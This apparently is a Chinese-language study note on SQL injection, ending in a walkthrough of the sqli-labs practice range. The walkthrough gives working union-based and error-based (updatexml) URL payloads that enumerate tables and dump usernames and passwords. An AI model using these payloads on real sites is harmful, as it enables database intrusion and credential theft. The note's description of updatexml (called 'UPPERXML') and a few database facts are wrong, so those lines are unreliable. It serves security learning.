sql注入
目录
原理解析
-
前端
-
后端代码
-
当我们在网页上进行点击等操作时会发生跳转,跳转的这个行为就代表后端代码在发挥作用
-
后端代码会使之跳转到后端的控制器上,控制器再把HTML页面展示出来
-
-
数据库
-
就像网页中的XX新闻,在使用者提交数据后控制器会将数据保存在数据库中,当前端要求展示数据时(使用者点进页面时),后端的代码会将数据查询出来并发到前端以便展示
-
一个动态的网站必须要有数据库
-
-
中间件
-
nginx
-
apache
-
sql分类
sql分为两大类
-
关系型
-
有诸如查询语句和事务等机制的存在,更加的稳定
-
-
非关系型
-
在大数据量下依然优秀
-
redis
-
存储session
-
将个人信息存储为数据或者文件,等需要时再发送回客户端(浏览器)的cookie中(浏览器的小型数据库)
-
文件存储到浏览器的cookie中,再次登录时再通过cookie查文件,如果文件没有过期就可以直接登录
-
弄到cookie=登录
-
所以说通过盗取cookie后使用自己通过创建键值对登录后台的漏洞严重
什么是session、cookie?
<span style="background-color:var(--code-bg-color)">session在网络应用中被称为会话控制,是服务器为了保存用户状态而创建的一个特殊的对象,简而言之session就是一个对象,用来存储信息 cookie的使用场景是我们曾经登录过一个网站,第二次短期登录如果不需要密码则就说明了cookie起了作用,他是以键值对形式进行保存的</span>
-
两者特点
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">关系型数据库采用了关系模型来组织数据的数据库,以行列做成表的形式存在,存储的格式可以直观的反应实体之间的关系
非关系型数据库出于简化数据库的目的摒弃了分布式的设计,是非关系的不保证遵循ACLD原则的数据存储系统</span></span>
什么是sql注入
sql注入是指web应用程序对用户输入的数据的合法性没有判断或过滤不严,攻击者可以在web程序中事先定义好的查询语句的结尾添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
一切用户可控的地方都可能存在危害漏洞。
sql注入的原理
sql注入攻击是通过操作输入来修改sql语句,用以达到执行代码对web服务器进行攻击的方法,简单来说就是在post/get的web表单、输入域名或页面请求的查询字符中插入sql命令,最终使web服务器执行恶意命令的过程
sql注入的方法
-
数字型注入
-
字符型注入
数字型注入
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">select * from users where id=1 and 1=2 #sql原句
?id=1 and 1=2 #构造的sql注入语句</span></span>
若在GET请求中?id=1 and 1=1 没有报错,但是?id=1 and 1=2 有异常或者没回显,则为数字型注入
字符型注入
字符型注入常见的闭合符类型
-
''
-
""
-
)
-
')
-
")
-
'))
关键库和表
在知道了注入点和注入类型后我们就要根据我们自己的目的对库进行访问查询我们想要的信息
库
-
sql默认库存放所有数据库名和表名字的库 :information_schema.schemata
-
所有数据库的名:schemata
-
所有表库 :tables
-
columns列名库
-
一般如果我们想要获取sql用户的密码的话 就是在information_schema.schemata库下的tables表中的security关键字查询,就可以看到用户的信息了
-
再在columns列名库中查询users表中的所有列名
group_concat(table_name)可以让数据在一行显示
靶场练习
靶场搭建
使用phpstudy搭建sqli-labs靶场
sqli-labs靶场安装_sqli-labs安装-CSDN博客
靶场中的php源码解读
连接数据库
-
链接数据库--- 文件包含include--- 可以把文件中包含的变量和代码利用(封装的体现)
-
两个文件sqli-connect(数据库连接文件)、db-creds.inc(数据库用户数据)
-
这个数据库用户数据中包含了用户所在的库
-
-
mysqli_select_db连接数据库
调用了数据库用户数据,进行sql登录并使用库
isset 传参检测
用来对与传参的是与否进行判断,如果没传参就进不去这个if语句
查询语句
在判断了传入了参数后,通过传入的参数进行sql查询语句(注入点)
row 行存在if语句
如果查询语句没问题就会把查询的结果传到查询函数中再给到结果变量,最后传到row变量中,然后对于row变量进行判断,如果存在就把查询结果打印到屏幕上,同样也会把失败的结果返回页面如果是mysql错误的话
sqli-labs关卡
使用联合查询
union是sql查询中的功能,可以在一个查询之后再跟上一个查询,但是表的长度得一致,可以使用1,2,3这样的形式创造列来让列数一致
只有在页面存在回显位的时候使用
下图中左边是第一题明显的把用户名和密码给回显了
order by 判断行数
在不知道多少列的情况下要先用order by去调试出列数
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">git恢复源码</span></span>
逃脱引号控制 (字符型注入)
通过查看源码知道可以通过逃脱引号控制来施加我们带有目的性的查询语句以此来达到目的
-
闭合
-
注释
-
#要进行转码为%23
-
先转acill码再转16进制
-
-
less1
典型的字符型注入,需要逃逸引号的控制
-
先用‘逃脱引号控制,然后因为要使用联合查询需要让前面的查询错误显示后面的查询结果 所以得让id=-1
-
通过源码可以得知有反显位所以可以使用联合查询
-
先通过order by查出一共有3列
-
因为联合查询需要前后两个表的列数一样
-
-
然后再使用联合查询select语句配合database()函数把当前的库给查出来
-
database()可以返回当前的库
-
-
再知道了库名了之后再通过information_schema中的tables表把当前库中的所有表查出来
-
知道了当前库中的表之后再把所有表中最有可能是用户名和密码的users表内容给查出来
-
最后得知了users里面的字段之后,就可以把用户名和密码给查出来了
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?id=1'order by 3 --+ --- 查询有多少列在当前表中
?id=-1'union select 1,database(),version()--+ --- 查询当前库和数据库版本
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
---- 通过当前库名可以查询到当前库底下的表名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
--- 因为已经知道了有哪几个表,所以查询最可能有用户名和密码的表中的字段名
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+ ---- 查到了用户名和密码的字段名之后直接对其进行查询 </span></span>
less2-4
-
less2 --- 数字型注入 ,手法一致
-
less3 --- 字符型注入需要逃脱单引号和括号 ,之后手法与第一题一样
-
less4 --- 字符型注入需要逃脱双引号加括号,之后手法一样
-
以上题目因为手法相同所以只放过程,不讲解原因
less2
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users</span></span>
less3
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+</span></span>
less4
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+</span></span>
less5 less6报错注入
updatexml函数的使用
mysql
中的UPPERXML()
函数是一个字符串处理函数,主要用于将XML数据插入到MySQL表的列中。它接受三个参数:
-
expression
: 需要转换的表达式,通常是一个包含XML结构的数据值。 -
start_expr
: 插入点开始的位置,可以是一个节点名、属性名或索引。 -
end_expr
: 插入点结束的位置。
利用updatexml报错进行注入
updatexml()的第二个参数需要的是xpath格式的字符串,输入的不符合就会报错所以我们只要故意出错,函数就会执行第二个参数里面的语句并且用报错的方式回传给我们
说回题目,题目中没有回显位也就是说我们无法使用联合查询,但是通过查看题目的源码我们得知他是可以把错误信息给返回给我们的所以我们要利用这一点
在遇到显示不完的情况时使用substr()来进行切割,可以以此来片段的显示
<span style="background-color:var(--code-bg-color)"><span style="color:#c6c5b8">?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=%27security%27),0x7e),1)--+
这里是知道了库名然后进行库里面的表查询
后面的步骤与less1差不多只是修改了select语句 其他地方不变
0x7e是~的16进制的表现,%27是单引号,concat是让结果在一行显示</span></span>